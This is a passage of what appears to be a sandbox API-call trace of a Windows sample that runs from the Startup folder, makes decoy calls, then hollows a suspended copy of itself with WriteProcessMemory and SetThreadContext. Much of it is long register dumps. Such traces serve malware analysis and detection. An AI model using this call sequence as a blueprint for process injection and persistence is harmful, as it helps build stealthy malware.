lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83cbc50, dwHighDateTime=0x1d595b2)) [0141.355] GetCursorPos (in: lpPoint=0x18ed0c | out: lpPoint=0x18ed0c*(x=519, y=527)) returned 1 [0141.404] TrackPopupMenu (hMenu=0x0, uFlags=0x0, x=517, y=529, nReserved=0, hWnd=0x0, prcRect=0x0) returned 0 [0141.404] GetCursorPos (in: lpPoint=0x18ed1c | out: lpPoint=0x18ed1c*(x=519, y=527)) returned 1 [0141.404] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Xstore") returned 0x1a4 [0141.404] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=519, y=527)) returned 1 [0141.404] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0141.404] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0141.404] SetFocus (hWnd=0x0) returned 0x0 [0141.404] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xbb7) returned 0x102 [0144.536] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0144.536] SetCursor (hCursor=0x10007) returned 0x10007 [0144.536] GetCursorPos (in: lpPoint=0x18ed24 | out: lpPoint=0x18ed24*(x=865, y=582)) returned 1 [0144.536] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0144.536] GetDlgItem (hDlg=0x0, nIDDlgItem=2) returned 0x0 [0144.536] SetFocus (hWnd=0x0) returned 0x0 [0144.536] GetDeviceCaps (hdc=0x0, index=90) returned 0 [0144.536] CreateFontA (cHeight=0, cWidth=0, cEscapement=0, cOrientation=0, cWeight=500, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x0, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x0, iPitchAndFamily=0x0, pszFaceName="me") returned 0x380a07f5 [0144.536] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f0 [0144.536] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x2) returned 0x3dd900 [0144.537] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0144.537] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x6) returned 0x3dd900 [0144.537] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0144.537] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0144.537] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] SQLDriverConnectA () returned 0xfffe [0144.537] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0144.537] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f0 | out: hHeap=0x3d0000) returned 1 [0144.537] SetRect (in: lprc=0x18dbc0, xLeft=10, yTop=10, xRight=110, yBottom=110 | out: lprc=0x18dbc0) returned 1 [0144.537] InflateRect (in: lprc=0x18dbc0, dx=-20, dy=-20 | out: lprc=0x18dbc0) returned 1 [0144.537] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=300, xRight=200, yBottom=301 | out: lprc=0x18dbc0) returned 1 [0144.537] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=302, xRight=200, yBottom=303 | out: lprc=0x18dbc0) returned 1 [0144.537] SetRect (in: lprc=0x18dbc0, xLeft=0, yTop=305, xRight=200, yBottom=306 | out: lprc=0x18dbc0) returned 1 [0144.537] GetConsoleWindow () returned 0x0 [0144.537] GetDC (hWnd=0x0) returned 0x40107c2 [0144.537] CreateDIBSection (in: hdc=0x40107c2, lpbmi=0x18db78, usage=0x0, ppvBits=0x4ea700, hSection=0x0, offset=0x0 | out: ppvBits=0x4ea700) returned 0x0 [0144.537] CreateCompatibleDC (hdc=0x40107c2) returned 0x3010806 [0144.537] SelectObject (hdc=0x3010806, h=0x0) returned 0x0 [0144.537] GetConsoleWindow () returned 0x0 [0144.538] ReleaseDC (hWnd=0x0, hDC=0x40107c2) returned 1 [0144.538] glBegin () returned 0x7efddb90 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glVertex2f () returned 0x0 [0144.538] glEnd () returned 0x281440 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=2006982120) returned 0x0 [0144.538] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=2313806) returned 0x0 [0144.538] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=17239) returned 0x0 [0144.538] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=2313806) returned 0x0 [0144.538] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=1914) returned 0x0 [0144.538] EnableWindow (hWnd=0x0, bEnable=0) returned 0 [0144.538] glClearColor () returned 0x26d300 [0144.538] glMatrixMode () returned 0x26d318 [0144.538] gluOrtho2D () returned 0x26d320 [0144.538] LoadBitmapA (hInstance=0x0, lpBitmapName=0x7fe5) returned 0xa050805 [0144.538] CreatePatternBrush (hbm=0xa050805) returned 0x4100811 [0144.538] DeleteObject (ho=0xa050805) returned 1 [0144.538] CreateWindowExA (dwExStyle=0x220, lpClassName="RichEdit", lpWindowName=0x0, dwStyle=0x50300004, X=10, Y=10, nWidth=241, nHeight=221, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.538] SetWindowLongA (hWnd=0x0, nIndex=-4, dwNewLong=2006982120) returned 0 [0144.538] SetWindowLongA (hWnd=0x0, nIndex=-21, dwNewLong=0) returned 0 [0144.538] GetDlgItem (hDlg=0x0, nIDDlgItem=2313806) returned 0x0 [0144.539] DeleteObject (ho=0x4100811) returned 1 [0144.539] GdiplusStartup (in: token=0x18d4d8, input=0x18d4c4, output=0x0 | out: token=0x18d4d8, output=0x0) returned 0x0 [0144.541] GdipAlloc (size=0x10) returned 0x3422230 [0144.541] GdipLoadImageFromFile (filename="земля_ СЃ_луны.jpg", image=0x3422234) returned 0x3 [0144.542] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027 [0144.542] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0144.542] GetStockObject (i=0) returned 0x1900010 [0144.542] RegisterClassA (lpWndClass=0x18d480) returned 0x300000 [0144.542] CreateWindowExA (dwExStyle=0x0, lpClassName="Get", lpWindowName="Get", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x0 [0144.542] ShowWindow (hWnd=0x0, nCmdShow=0) returned 0 [0144.542] UpdateWindow (hWnd=0x0) returned 0 [0144.542] GdiplusShutdown (token=0xec60) [0144.569] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x77a01de8, lParam=0x234e4e) returned 0x0 [0144.569] NtdllDefWindowProc_A (hWnd=0x0, Msg=0x0, wParam=0x4357, lParam=0x234e4e) returned 0x0 [0144.569] EnumWindowStationsW (lpEnumFunc=0x1d80000, lParam=0x0) [0144.904] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0144.905] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0145.703] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18c960, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\n.exe")) returned 0x61 [0145.703] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18c908*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18cb8c | out: lpCommandLine="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\n.exe", lpProcessInformation=0x18cb8c*(hProcess=0x1b4, hThread=0x1b0, dwProcessId=0x6b0, dwThreadId=0x6bc)) returned 1 [0145.907] GetThreadContext (in: hThread=0x1b0, lpContext=0x18c630 | out: lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x3ea1380, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x43829c, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 1 [0145.977] LoadLibraryA (lpLibFileName="ntdll") returned 0x77b90000 [0145.978] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x0, ProcessInformation=0x18c3dc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x18c3dc, ReturnLength=0x0) returned 0x0 [0145.978] ReadProcessMemory (in: hProcess=0x1b4, lpBaseAddress=0x7efde000, lpBuffer=0x18c428, nSize=0x1e8, lpNumberOfBytesRead=0x18c61c | out: lpBuffer=0x18c428*, lpNumberOfBytesRead=0x18c61c*=0x1e8) returned 1 [0145.978] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x400000, dwSize=0x19000, flNewProtect=0x4, lpflOldProtect=0x18c628 | out: lpflOldProtect=0x18c628*=0x2) returned 1 [0145.978] WriteProcessMemory (in: hProcess=0x1b4, lpBaseAddress=0x400000, lpBuffer=0x2d4e00*, nSize=0x19000, lpNumberOfBytesWritten=0x18c610 | out: lpBuffer=0x2d4e00*, lpNumberOfBytesWritten=0x18c610*=0x19000) returned 1 [0145.982] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x400000, dwSize=0x400, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0145.982] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x401000, dwSize=0x9c25, flNewProtect=0x20, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0145.982] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x40b000, dwSize=0x2636, flNewProtect=0x2, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0145.982] VirtualProtectEx (in: hProcess=0x1b4, lpAddress=0x40e000, dwSize=0xaad5, flNewProtect=0x4, lpflOldProtect=0x18c41c | out: lpflOldProtect=0x18c41c*=0x4) returned 1 [0145.982] SetThreadContext (hThread=0x1b0, lpContext=0x18c630*(ContextFlags=0x1003f, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x27f, FloatSave.StatusWord=0x0, FloatSave.TagWord=0xffff, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x3ea1380, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x7efde000, Edx=0x0, Ecx=0x0, Eax=0x40a9d0, Ebp=0x0, Eip=0x77ba01c4, SegCs=0x23, EFlags=0x202, Esp=0x18fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x7f, [1]=0x2, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x80, [25]=0x1f, [26]=0x0, [27]=0x0, [28]=0xff, [29]=0xff, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, 